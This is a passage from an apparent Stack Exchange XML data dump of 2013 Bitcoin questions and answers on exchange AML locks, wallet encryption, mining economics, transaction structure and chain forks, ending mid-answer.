  <row Id="12436" PostTypeId="2" ParentId="9362" CreationDate="2013-07-31T21:01:18.963" Score="0" Body="&lt;p&gt;What you call &quot;locked&quot; is more exactly &quot;AML flag&quot;, concerning money laundering regulations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More or less everything that is &quot;suspicious&quot; can get you AML flagged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few publicly well known examples that will get you flagged are if you are accessing mtgox from the TOR network or other anonymous proxies; also if you are accessing many mtgox accounts from the same IP address.&#xA; Many other reasons could get you flagged, most of them are not publicly known.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being AML flagged will lock any withdrawal attempt, even for BTC withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will still be able to deposit and trade, but you wont be able to withdraw, until you verify your account with ID doc and utility bill.&lt;/p&gt;&#xA;" OwnerUserId="558" LastActivityDate="2013-07-31T21:01:18.963" CommentCount="4" CommunityOwnedDate="2013-07-31T21:01:18.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="12437" PostTypeId="1" AcceptedAnswerId="12438" CreationDate="2013-07-31T21:26:50.547" Score="3" ViewCount="203" Body="&lt;p&gt;In Bitcoin-qt, when a previously unencrypted wallet is encrypted, the keypool is erased and replaced with new keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this also happen when the password of an already encrypted wallet is changed?&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-07-31T21:45:34.847" Title="Is the keypool erased when changing wallet password?" Tags="|security|bitcoin-core|encryption|passphrase|keypool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12438" PostTypeId="2" ParentId="12437" CreationDate="2013-07-31T21:45:34.847" Score="2" Body="&lt;p&gt;No, because the encrypted keys don't change in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you encrypt a wallet.dat file, a random master key is generated, the master key is encrypted using your passphrase, and the actual address keys are encrypted using the master key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you change the passphrase, only the encrypted master key is changed.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-07-31T21:45:34.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12440" PostTypeId="2" ParentId="12416" CreationDate="2013-07-31T23:50:34.340" Score="2" Body="&lt;p&gt;The proceeds of mining are the 3,600 BTC daily (at current levels, which will drop to 1,800 BTC per-day in late 2016).  All miners combined, no matter how many exist, are competing for these 3,600 BTC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This sets an upper limit to how much mining can occur at a profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone wishes to expand by putting &quot;billions&quot; into mining going beyond the equilibrium where mining is no longer profitable, they will certainly displace others.  But it is not economically prudent.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-07-31T23:50:34.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12441" PostTypeId="2" ParentId="12409" CreationDate="2013-08-01T00:03:28.363" Score="0" Body="&lt;p&gt;Each hosted (shared) E-Wallet service may function differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most won't give credit to an account until the transaction has confirmed with 6 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your payment has received six confirmations (as shown on Blockchain.info, for example) but still has not been credited to your account, there isn't much you can do other than to open a support ticket with the site or contact the site's administrator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the transaction has not received any confirmations, there is nothing the E-Wallet service can do.   If the transaction has received one or more confirmations, just be patient as each successive confirmation is just minutes away.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-01T00:03:28.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12442" PostTypeId="2" ParentId="12411" CreationDate="2013-08-01T00:08:36.760" Score="0" Body="&lt;p&gt;It seems that you are concerned about funds from a transaction that was sent to you after a backup of your private keys has been made.  That's not something to be concerned about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is only needed to spend any bitcoins sent to your Bitcoin addresses.  When you have imported the private key, all unspent transactions to that private key's corresponding Bitcoin address can then be spent, regardless of when those transactions occurred (i.e., including transactions that were sent after your backup was made).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now keep in mind that if you are the sender of a payment, change goes to a new bitcoin address in your wallet.  A backup will contain a number of addresses (default is 100) in a key pool which are used for transactions that follow when you made your backup, however if you are frequently sending funds you should frequently be making additional backups.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-01T00:08:36.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12443" PostTypeId="2" ParentId="594" CreationDate="2013-08-01T00:18:14.440" Score="1" Body="&lt;p&gt;If the difficulty doesn't increase before mining a block, then solo mining is more profitable, because the pools normally take fees. otherwise pool mining is more profitable.&lt;/p&gt;&#xA;" OwnerUserId="6158" LastActivityDate="2013-08-01T00:18:14.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12444" PostTypeId="2" ParentId="12402" CreationDate="2013-08-01T00:24:56.610" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4203/how-can-i-export-the-private-key-for-an-address-from-the-satoshi-client&quot;&gt;Export&lt;/a&gt; the private key for a specific Bitcoin address from Bitcoin-Qt.  Copy the value to your clipboard.&lt;/li&gt;&#xA;&lt;li&gt;Import it&#xA;into Blockchain.info wallet (log into your Blockchain.info wallet,&#xA;click Import/Export tab, for the Import Private Key field paste the&#xA;private key.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2013-08-01T00:24:56.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12445" PostTypeId="2" ParentId="9299" CreationDate="2013-08-01T00:29:41.287" Score="1" Body="&lt;p&gt;What you should depends on your particular situation.&#xA;The advantage of solo mining is that there is no fees, so all the credit goes to you, but if the difficulty changes before mining one block, then you've wasted recourses. (so you need to look at the average block mining time versus the expected difficulty-change-period of the currencies you're considering mining and see how much wasted mining you expect to do, with your mining rig, and if that is higher or lower then the pool fees)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand if the average block mining time is very small (a few seconds for some currencies sometimes like fastcoin and others) then there are going to be a lot of blocks solved during the time it takes to transfer and confirm the results, in which case the mining rig with the fastest internet connection to (wherever the results are transfered to) will have the biggest advantage (which most of the time (if not always) is the pool created by the creators of the coin).&lt;/p&gt;&#xA;" OwnerUserId="6158" LastActivityDate="2013-08-01T00:29:41.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12446" PostTypeId="2" ParentId="12330" CreationDate="2013-08-01T00:43:19.453" Score="4" Body="&lt;p&gt;You don't.  Bitcoin doesn't work that way.  To identify the sender, you can provide a new Bitcoin address for each payment request and then you'll know from which party the funds were sent as only that party would have that Bitcoin address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some services, such as SatoshiDICE, return funds to one of the inputs in a transaction.  This frequently causes losses however as those sending from a hosted (shared) E-Wallet don't own the Bitcoin address that their payment was sent from.  So returning funds to one of those inputs benefits some party other than the intended user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other parties use unique payment amounts to uniquely identify the sender.  For instance, a payment of 1.23 could be suffixed as 1.23000001 to differentiate that from another party that was asked to pay 1.23000002.  However doing that is no less work than simply providing a unique Bitcoin address for the two payment requests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Planned for a forthcoming version of the Bitcoin-Qt/bitcoind client is a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/2539&quot; rel=&quot;nofollow&quot;&gt;Payment Protocol&lt;/a&gt; which might be useful to you as well.  &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-01T00:43:19.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12447" PostTypeId="2" ParentId="1495" CreationDate="2013-08-01T00:49:28.900" Score="3" Body="&lt;p&gt;If you import the private key into Mt. Gox, they will then monitor that address and sweep any payments received into your Mt. Gox exchange account balance. &lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-08-01T00:49:28.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12449" PostTypeId="2" ParentId="12325" CreationDate="2013-08-01T01:08:14.793" Score="1" Body="&lt;p&gt;Central banks buy (government-backed) debt and issue currency (paper or electronic money/credits) in exchange.  The government then spends these newly issued paper or electronic credits and because the inflationary effect of the currency being introduced isn't yet felt the government gets full purchasing power.&lt;/p&gt;&#xA;&lt;p&gt;If the population refuses to use this currency in favor of an alternative to that currency, then the inflationary effect of the issuance of the additional debt occurs sooner and there is a loss of purchasing power that can be proportionate to the amount of funds issued.  For example, if issuing $1T a year causes a $1T loss in purchasing power for the government's spending then there is no net gain from issuing the $1T in the first place.   It only works if the inflationary impact is absorbed by those users of that currency.&lt;/p&gt;&#xA;&lt;p&gt;That's why countries impose currency and capital controls to try to force its population to use the government currency instead of investing in certain liquid assets or in sending their wealth abroad.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="2279" LastEditDate="2024-04-01T18:13:59.670" LastActivityDate="2024-04-01T18:13:59.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12451" PostTypeId="1" AcceptedAnswerId="12452" CreationDate="2013-08-01T04:08:09.813" Score="21" ViewCount="2101" Body="&lt;p&gt;I am interested in the possible use of the Bitcoin (or other altcoin) blockchain as a generalized distributed ledger, meaning that it is useful for tracking information other than coin transactions proper. A prerequisite for that would seem to be the ability to pay for transactions whose primary purpose is not moving Bitcoins from one address to another. So, can Bitcoin transactions list no outputs, thus leaving all inputs as a transaction fee reward for the miner?&lt;/p&gt;&#xA;" OwnerUserId="6160" LastActivityDate="2023-08-19T01:41:14.600" Title="Are Bitcoin transactions permitted to have no outputs (i.e. all inputs become transaction fee)?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12452" PostTypeId="2" ParentId="12451" CreationDate="2013-08-01T04:39:22.840" Score="20" Body="&lt;p&gt;No. If you create one, it won't be relayed or mined by Bitcoin Core. If it gets into a block, it will be rejected. From the source code for Bitcoin Core (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/f8a29ca823fba7fc0eb63896ac4d3d5a0093a023/src/consensus/tx_verify.cpp#L164&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;tx_verify.cpp:164&lt;/code&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (tx.vout.empty())&#xA;    return state.DoS(10, false, REJECT_INVALID, &amp;quot;bad-txns-vout-empty&amp;quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, you can create a vout with 0 satoshis. That isn't a &amp;quot;standard&amp;quot; transaction, so it will not be mined by the software by default. However, if it gets into a block, it's valid.&lt;/p&gt;&#xA;&lt;p&gt;There is another way you could do it. Using the &lt;code&gt;OP_RETURN&lt;/code&gt; opcode. &lt;code&gt;OP_RETURN&lt;/code&gt; in a transaction output forces anyone referencing that output to fail spending it(the script returns and transaction is invalid). Although the output exists, it is &lt;strong&gt;provably unspendable&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="127631" LastEditDate="2021-11-30T00:37:04.683" LastActivityDate="2021-11-30T00:37:04.683" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="12453" PostTypeId="1" CreationDate="2013-08-01T08:40:17.060" Score="1" ViewCount="4040" Body="&lt;p&gt;I'd like to buy bitcoins via SEPA deposit automatically with a recurring schedule. To specify this with an example, I would like to purchase bitcoins for 100 EUR each month, at the current market rate, without manual intervention. For this, I can set up a recurring payment at my bank to a SEPA bank account. The manual way to do this at Bitstamp would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start SEPA deposit at Bitstamp for 100 EUR.&lt;/li&gt;&#xA;&lt;li&gt;Make a bank transfer to the given account with the given message.&lt;/li&gt;&#xA;&lt;li&gt;Wait for funds to appear at Bitstamp.&lt;/li&gt;&#xA;&lt;li&gt;Use instant order to purchase bitcoin for 100 EUR (converted to dollars).&lt;/li&gt;&#xA;&lt;li&gt;Wait for the transaction to complete (may take days if market fluctuates).&lt;/li&gt;&#xA;&lt;li&gt;Withdraw bitcoin from Bitstamp to a given address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am not bound to a single exchange, any one of them will do as long as they roughly follow the current market. I am not afraid to run a server, or to create my own program using an API to do this. However, I am not willing to use screen scraping, because I would wish for this to run with minimal intervention and such an approach would seem too error prone. I am also obviously not able to affect my bank, so the best I can do is to have a recurring payment with a fixed message/reference number each month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an exchange or combination of services that will let achieve the above automatically?&lt;/p&gt;&#xA;" OwnerUserId="388" LastEditorUserId="388" LastEditDate="2014-04-28T08:16:12.093" LastActivityDate="2023-11-06T23:40:12.033" Title="Automatically buying bitcoins from SEPA deposit" Tags="|bitstamp|europe|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12454" PostTypeId="2" ParentId="12413" CreationDate="2013-08-01T08:45:34.670" Score="0" Body="&lt;p&gt;minerd was too old a version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd --version&#xA;cpuminer 2.2.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i downloaded cpuminer 2.3.2 and now everything is sweet. the command to get minerd working is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;minerd.exe -a scrypt -r1 -t4 -s6 -o stratum+tcp://us2.litecoinpool.org:3333 -O pete345234.2:1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2013-08-01T08:45:34.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12455" PostTypeId="2" ParentId="12453" CreationDate="2013-08-01T09:10:50.017" Score="-1" Body="&lt;p&gt;And what's your question?&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can use API, do it. Else, simulate browsing the website: get html code to string in your program, then search for some html markup e.g. &lt;code&gt;&amp;lt;div id=&quot;bitcoinPrice&quot;&amp;gt;321.24243 USD&amp;lt;/div&amp;gt;&lt;/code&gt; and fetch proper data, then send it in proper forms. You can use php, curl, wget, Apache Commons httpClient or any similar tools/libs.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-01T09:10:50.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12456" PostTypeId="1" CreationDate="2013-08-01T10:02:20.500" Score="-1" ViewCount="496" Body="&lt;p&gt;Just a very quick, and I hope simple question. Is Bitcoin mining classed as running a business?&#xA;All comments appreciated!&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6165" LastEditorUserId="5406" LastEditDate="2016-04-28T14:23:49.920" LastActivityDate="2016-04-28T14:23:49.920" Title="Is bitcoin mining a business?" Tags="|mining-pools|legal|sell-bitcoins|taxes|" AnswerCount="4" CommentCount="2" ClosedDate="2013-08-04T08:50:48.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="12459" PostTypeId="2" ParentId="12456" CreationDate="2013-08-01T11:35:11.293" Score="1" Body="&lt;p&gt;Unless you have a lot of ASICs, it's not profitable anymore.&lt;br&gt;&#xA;If you mean business in terms of law, it depends on country you live in.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-01T11:35:11.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12460" PostTypeId="2" ParentId="12165" CreationDate="2013-08-01T12:07:15.183" Score="1" Body="&lt;p&gt;I am using Bitcoin-Qt v0.8.2-beta on Mac with Mountain Lion (10.8.4), and my database gets corrupted every time I restart the Mac -.-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, Bitcoin-Qt &quot;just&quot; recreates (?? don't know what the english word is, sorry) the Blockchain/Database (which always takes like 3 or 4 days) but no money is gone. I can't access my money while reindexing since it isn't verified though, but as said, it is still there and accessible after 4 days ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I quit Bitcoin-Qt manually before shutting down the Mac, then the Database doesn't get corrupted. But it is quite annoying to bear in mind about that every time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually reinstalling the Database is possible but you will loose every address. Read here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Data_directory&lt;/a&gt; where to look for the file you need to delete.&#xA;I didn't try this, since I actually have money stored on my addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My RAM is brand new hand has no Errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have troubles you might think of switching to an online-wallet. You can easily export your address like this:&#xA;Open Bitcoin-Qt &gt; help &gt; debug window &gt; console &gt; dumpprivkey YOUR_BITCOIN_ADDRESS&#xA;e.g.:&#xA;dumpprivkey 1DjEL..... will get you ..VcHHcF...&#xA;You can then import this &quot;private key&quot; on for example &lt;a href=&quot;https://blockchain.info/de/wallet/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/de/wallet/&lt;/a&gt; just by copying the private key into the &quot;import&quot; section.&#xA;This will work even during the reindexing process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, this helps :-)&lt;/p&gt;&#xA;" OwnerUserId="6167" LastEditorUserId="6167" LastEditDate="2013-08-01T14:55:31.607" LastActivityDate="2013-08-01T14:55:31.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12461" PostTypeId="2" ParentId="12416" CreationDate="2013-08-01T13:21:23.007" Score="1" Body="&lt;p&gt;Digging for gold was not a business in the early days, it was left to lunatics. Only later mining companies were started. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The previous answers about the difficulty and upper limits in profits are good, but one should not forget how volatile bitcoin is. Most business owners wish to minimize risk to protect their capital. Mining bitcoins with serious capital should be considered extremely risky which very few sane people are willing to endeavor today.&lt;/p&gt;&#xA;" OwnerUserId="4842" LastActivityDate="2013-08-01T13:21:23.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12462" PostTypeId="1" CreationDate="2013-08-01T14:14:42.940" Score="6" ViewCount="1919" Body="&lt;p&gt;While understanding the concept of block chain and proof of work, few things are confusing me. Miners always consider the longest chain(by difficulty) and work on expanding it. Now, lets say two miners (Miner A and Miner B) come up with the solution at the same time (almost same time) for a block, and they publicly announces their solution. Then, some miners get first the solution of A , later they see B has the solution as well (just opposite happens to some other miners, they get B first). So, the miners who saw A first starts working over A's solution for next block and saves other branch of B if it becomes longer. Now , tie will be broken when next proof of work found, and miners were working on other branch will switch to the longer one. Now, I have few questions: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What will happen to transaction records which were stored in the rejected branch? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Will there be any transaction records at all for both block branches?&#xA;(then I suppose, new transaction records will be stored on last&#xA;block before the branch).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What will be the scenario of coinbase generation? if A wins, A gets the coinbase, later transactions&#xA;should be stored in A's generated block. But, already solution of&#xA;next block(Proof of Work) on the branch A is found. So, new&#xA;transactions will be stored on next block (lets say generated by&#xA;C..C gets the next coinbase). Is that means, there will be only one&#xA;transaction record (coinbase) in the block generated by A? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6159" LastEditorUserId="5406" LastEditDate="2018-05-04T17:05:16.807" LastActivityDate="2018-05-04T17:05:16.807" Title="What happens to extinct blockchains, and transactions inside of them?" Tags="|blockchain|blockchain-fork|proof-of-work|mining-technical-details|best-chain|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12463" PostTypeId="1" AcceptedAnswerId="12464" CreationDate="2013-08-01T14:57:53.107" Score="1" ViewCount="211" Body="&lt;p&gt;I'm looking at the crypto street home page and the pairs are backwards when compared to other exchanges. It doesn't appear to be a mistake because the prices are inverted compared to other exchanges - it just seems odd.&lt;/p&gt;&#xA;" OwnerUserId="6170" LastActivityDate="2020-11-30T17:48:38.377" Title="Why does Crypto Street have backwards pairs?" Tags="|exchanges|currencies|exchange-rate|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12464" PostTypeId="2" ParentId="12463" CreationDate="2013-08-01T15:00:10.570" Score="0" Body="&lt;p&gt;I am the CEO of &lt;a href=&quot;http://www.crypto.st&quot; rel=&quot;nofollow&quot;&gt;Crypto Street&lt;/a&gt;, so let's get that out of the way. I recently wrote a &lt;a href=&quot;https://www.crypto.st/blog/2013/08/btc-ltc-vs-ltc-btc&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; about this explaining. But the gist of it is that we're taking a page from standard financial markets:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In the foreign exchange market, currencies are displayed as what's&#xA;  known as a currency pair. Trades require that one currency be&#xA;  exchanged for another, in proportion to the quoted pair. As an&#xA;  example, let's consider USD/JPY, which at the time of this post is&#xA;  98.74. What that means is that to buy 1 USD, you will need to give 98.74 JPY. Generally speaking, the stronger currency is quoted first so that one can easily understand how many of the quote currency one&#xA;  will need to buy the base currency. If we reveresed it, and instead&#xA;  quoted JPY/USD, it would mean that to buy 1 JPY I would need to give&#xA;  0.01012760785902 USD. That's a lot harder to intuitively grasp than 98.74!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2013-08-01T15:00:10.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12465" PostTypeId="2" ParentId="12462" CreationDate="2013-08-01T16:11:41.013" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What will happen to transaction records which were stored in the rejected branch?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It depends. Other nodes will look at the rejected branch and try to include the transactions in future blocks, according to these rules:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Duplicate transactions are discarded.&lt;/li&gt;&#xA;&lt;li&gt;Transactions that conflict (i.e. because of a double-spend attack) are discarded.&lt;/li&gt;&#xA;&lt;li&gt;The coinbase is never kept.&lt;/li&gt;&#xA;&lt;li&gt;The transactions must meet normal fee requirements.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-08-01T16:11:41.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12466" PostTypeId="1" AcceptedAnswerId="12475" CreationDate="2013-08-01T16:22:00.770" Score="0" ViewCount="222" Body="&lt;p&gt;Currently all the USD to crypto currency exchanges require personal identification before withdrawing to USD. Does Ripple require this? How about the Ripple Gateways that do the currency conversions?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="105" LastEditDate="2013-08-01T18:18:12.370" LastActivityDate="2013-08-02T08:41:52.780" Title="Does Ripple require users to input their ID and personal data?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12467" PostTypeId="1" AcceptedAnswerId="12474" CreationDate="2013-08-01T16:25:15.643" Score="4" ViewCount="388" Body="&lt;p&gt;Does ripple take the properties of bitcoin where its irreversible? &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-08-02T03:33:08.220" Title="Are ripple transactions reversible like how a CC chargeback works?" Tags="|ripple|ripple-gateways|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12468" PostTypeId="1" AcceptedAnswerId="12469" CreationDate="2013-08-01T16:59:41.507" Score="10" ViewCount="1384" Body="&lt;p&gt;Reading &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9007/why-are-there-two-transaction-outputs-when-sending-to-one-address&quot;&gt;this&lt;/a&gt; thread about how transaction outputs are split due to &quot;change&quot; made me wonder how the bitcoin network knows you own that second address. How does your wallet/client display the correct balance, if it's unknown to everyone else that the second address is yours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming it has something to do with the wallet and accounts... if so, how can you find the &quot;account&quot; that corresponds with that address?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-08-23T20:28:38.727" Title="When a transaction is split into two outputs, how does the network &quot;know&quot; you're the owner of the &quot;change&quot; address?" Tags="|transactions|blockchain|wallet|client|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12469" PostTypeId="2" ParentId="12468" CreationDate="2013-08-01T17:12:07.393" Score="9" Body="&lt;p&gt;The bitcoin network does not know who owns which address. The concept of an address doesn't even exist at the protocol level - it's just an authentication layer on top of the scripting logic in transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course your own client does - because it has the private key for change addresses it generated itself. That's all that matters. When spending a transaction output, the client will prove that it holds that private key by creating a digital signature that matches the address. That's all the network cares about.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-08-01T17:12:07.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12470" PostTypeId="1" CreationDate="2013-08-01T17:44:50.100" Score="1" ViewCount="717" Body="&lt;p&gt;I'm debating whether to run bitcoind/ JSON-RPC on a server from my house that takes requests from users on hosted VPS. While I'm not starting a bitcoin poker site, I can explain what I'm doing easier with that. A user sends bitcoins to a pre-generated address. When user sends bitcoins, the home server will see whether it is sent then tell the VPS, which will then give the user chips or credits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Will this eat up my internet from home assuming I have 100 gb bandwidth / 6-8 mbps upload speeds? If not, how many people can be served at a time?&lt;/li&gt;&#xA;&lt;li&gt;Does anyone actually do this compared to using a hosted vps/dedicated server because they want security and don't want to rely on 3rd party services like blockchain?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6173" LastEditorUserId="132" LastEditDate="2013-08-02T08:47:23.583" LastActivityDate="2013-09-05T21:19:32.710" Title="Should I run Bitcoind / JSON RPC on a home server connecting to a VPS" Tags="|bitcoind|security|json-rpc|server|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12471" PostTypeId="1" AcceptedAnswerId="17137" CreationDate="2013-08-01T18:22:45.770" Score="4" ViewCount="1637" Body="&lt;p&gt;I needed help in understanding how to calculate the GE for a SHA256 implementation. I need to calculate the GE of individual functions in the SHA256 hashing algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please direct me to an appropriate paper/book that explains this in detail?&lt;/p&gt;&#xA;" OwnerUserId="6174" LastEditorUserId="5406" LastEditDate="2016-04-17T20:38:15.207" LastActivityDate="2016-04-17T20:38:15.207" Title="SHA256 Implementation Gate Equivalent" Tags="|transactions|mining-technical-details|sha256|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12472" PostTypeId="2" ParentId="11411" CreationDate="2013-08-01T23:00:33.220" Score="44" Body="&lt;h2&gt;&lt;strong&gt;The input of every transaction refers to an output of a prior transaction.&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An input can't be defined by only the transaction hash.  A transaction consists of 1 or more outputs if you only specify the transaction hash there is no way to know which output is being spent.** &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since these types of questions often come from a larger misunderstanding of how the network &quot;really works&quot; I am going to start with some &quot;plain english&quot; rules on transactions (tx):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. A tx consists of one or more inputs and one or more outputs.&#xA;2. All tx inputs refer to an unspent output of a prior transaction.&#xA;3. The full value of an input is always spent; a tx can not spend part of the value.&#xA;4. Likewise all outputs are either spent or unspent, they can't be partially spent.&#xA;5. A tx &quot;spends&quot; the outputs which are referenced in the input portion of the tx.&#xA;6. A tx creates new spendable &quot;unspent outputs&quot; listed in the output portion of the tx.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now that we got that out of the way, &lt;strong&gt;to define a tx input you need to refer to the hash of a prior transaction AND the output index&lt;/strong&gt;.  The tx hash identifies the transaction, but the transaction may have more than one output so the index is used to identify which output is being &quot;spent&quot; here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may seem confusing because you will hear statements such as &quot;I have 20 BTC stored at address 1XYZ...&quot; or &quot;My wallet had 100 BTC&quot;, but this is really an abstraction.  The client is merely showing you the sum of all the unspent outputs for an address or the entire wallet.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;&lt;strong&gt;The Bitcoin network works on the concept of inputs and outputs&lt;/strong&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin network doesn't consider the &quot;value&quot; an address when validating txs.  When validating a tx, outputs are considered as independent entities.  Spending one output for a particular address has no effect on the other outputs (if any) for that address.  A transaction is valid (among other things)if all the inputs refer to valid unspent outputs of prior transactions (can't spend coins twice), the sum of the outputs is less than or equal to the sum 